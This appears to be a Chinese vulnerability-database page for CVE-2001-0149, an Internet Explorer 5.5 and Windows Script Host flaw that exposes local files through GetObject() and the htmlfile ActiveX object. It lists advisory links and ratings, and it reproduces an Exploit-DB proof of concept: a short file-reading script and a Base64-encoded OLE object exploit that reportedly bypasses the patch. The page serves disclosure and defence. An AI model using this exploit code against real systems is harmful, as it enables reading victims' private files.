CVE-2001-0149
CVSS5.0
发布时间 :2001-06-02 00:00:00
修订时间 :2016-10-17 22:10:02
NMCOE    

[原文]Windows Scripting Host in Internet Explorer 5.5 and earlier allows remote attackers to read arbitrary files via the GetObject Javascript function and the htmlfile ActiveX object.


[CNNVD]Microsoft Windows Script Host GetObject()文件泄露漏洞(CNNVD-200106-003)

        Windows Scripting Host in Internet Explorer 5.5及其之前版本存在漏洞。远程攻击者借助GetObject Javascript函数和htmlfile ActiveX 对象读取任意文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0149
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0149
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-003
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2000-09/0305.html
(VENDOR_ADVISORY)  BUGTRAQ  20000926 IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files
http://marc.info/?l=ntbugtraq&m=96999020527583&w=2
(UNKNOWN)  NTBUGTRAQ  20000926 IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files
http://www.microsoft.com/technet/security/bulletin/MS01-015.asp
(VENDOR_ADVISORY)  MS  MS01-015
http://www.securityfocus.com/bid/1718
(UNKNOWN)  BID  1718
http://xforce.iss.net/xforce/xfdb/5293
(UNKNOWN)  XF  ie-getobject-expose-files(5293)

- 漏洞信息

Microsoft Windows Script Host GetObject()文件泄露漏洞
中危 访问验证错误
2001-06-02 00:00:00 2005-05-04 00:00:00
远程※本地  
        Windows Scripting Host in Internet Explorer 5.5及其之前版本存在漏洞。远程攻击者借助GetObject Javascript函数和htmlfile ActiveX 对象读取任意文件。

- 公告与补丁

        Microsoft has released a patch which rectifies this issue:
        Microsoft Windows Scripting Host 5.1
        
        Microsoft Windows Scripting Host 5.5
        

- 漏洞信息 (20243)

Microsoft Windows Script Host 5.1/5.5 GetObject() File Disclosure Vulnerability (EDBID:20243)
windows remote
2000-09-26 Verified
0 Georgi Guninski
N/A [点击下载]
source: http://www.securityfocus.com/bid/1718/info


It is possible for an outside attacker to view known files on a remote system if the target user visits a website or opens an email containing a specially formed script containing the JScript function 'GetObject()' and the ActiveX object 'htmlfile'. Microsoft Internet Explorer or Outlook Express will grant full access to the DOM of a HTML document object if the following code is inserted into HTML formatted document (the 'I" in SCRIPT has been replaced with a "!"):

<SCR!PT>
alert("Alert Message");
a=GetObject("c:\\path\filename.ext","htmlfile");
setTimeout("alert(a.body.innerText);",2000);
</SCR!PT>

A malicious website operator may be able to view any known file on a remote system through this vulnerability if the website visitor is using Microsoft Internet Explorer.

This vulnerability is due to a flaw in Windows Script Host (WSH), WSH does not properly verify a domain for certain requests in IE and Outlook Express.

**New proof of concept code for this vulnerability can affect users who have already applied the Microsoft supplied patch for this issue. The new code uses Base64 encoding embedded within the HTML, which effectively bypasses the security provided by the patch. 

<HTML>
<!-- Internet Explorer htmlfile_FullWindowEmbed proof of concept exploit. //-->
<BODY>
<!--
The data parameter string is the Base64 encoded version of

2069 3325 F903 CF11 8FD0 00AA 0068 6F13  i3%.........ho.
3C73 6372 6970 743E 646F 6375 6D65 6E74 <script>document
2E6C 6F63 6174 696F 6E2E 6872 6566 3D22 .location.href="
6669 6C65 3A2F 2F63 3A5C 5C74 6573 742E file://c:\\test.
7478 7422 3B3C 2F73 6372 6970 743E      txt";</script>  
//-->

<OBJECT ID="myObject" WIDTH=300 HEIGHT=250 CLASSID="CLSID:25336921-03F9-11CF-8FD0-00AA00686F13" data="data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzxzY3JpcHQ+ZG9jdW1lbnQubG9jYXRpb24uaHJlZj0iZmlsZTovL2M6XFx0ZXN0LnR4dCI7PC9zY3JpcHQ+">
</OBJECT>

<SCRIPT>
// Base64 decoder ripped from Robert Graham's page at http://www.robertgraham.com/tools/base64coder.html
function myBase64Decode(str)
{
var result = "", i = 0, x, shiftreg = 0, count = -1;
      
for (i=0; i < str.length; i++) {
 c = str.charAt(i);
 if ('A' <= c && c <= 'Z')
  x = str.charCodeAt(i) - 65;
 else if ('a' <= c && c <= 'z')
  x = str.charCodeAt(i) - 97 + 26;
 else if ('0' <= c && c <= '9')
  x = str.charCodeAt(i) - 48 + 52;
 else if (c == '+')
  x = 62;
 else if (c == '/')
  x = 63;
 else
  continue;

 count++;
 switch (count % 4) {
  case 0:
   shiftreg = x;
   continue;
  case 1:
   v = (shiftreg<<2) | (x >> 4);
   shiftreg = x & 0x0F;
   break;
  case 2:
   v = (shiftreg<<4) | (x >> 2);
   shiftreg = x & 0x03;
   break;
  case 3:
   v = (shiftreg<<6) | (x >> 0);
   shiftreg = x & 0x00;
   break;
 }
 if ((v < 32 || v > 126) && (v != 0x0d) && (v != 0x0a)) {
  result = result + "<";
  result = result + "0123456789ABCDEF".charAt((v/16)&0x0F);
  result = result + "0123456789ABCDEF".charAt((v/1)&0x0F);
  result = result + ">";
 } else {
  result = result + String.fromCharCode(v);
 }
}
return result.toString();
}

function ReadFile()
{
 Data = myObject.outerHTML;
 Data = Data.substr(Data.indexOf("IGkz")); // start of encoded string
 Data = Data.substr(0,Data.indexOf(" ")); // end of encoded string
 alert(myBase64Decode(Data)); // decode and display
}

alert('Create the file c:\\test.txt and it will be read!');
setTimeout("ReadFile();",3000);
//setTimeout("alert(myObject.outerHTML);",2000);

</SCRIPT>
</BODY>
</HTML>		

- 漏洞信息

3111
Microsoft IE Windows Scripting Host (WSH) GetObject Javascript Function Arbitrary File Access
Remote / Network Access Information Disclosure, Misconfiguration
Loss of Confidentiality, Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

2000-09-26 Unknow
2000-09-26 Unknow

- 解决方案

Products

Microsoft Corporation

Windows

Unspecified

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站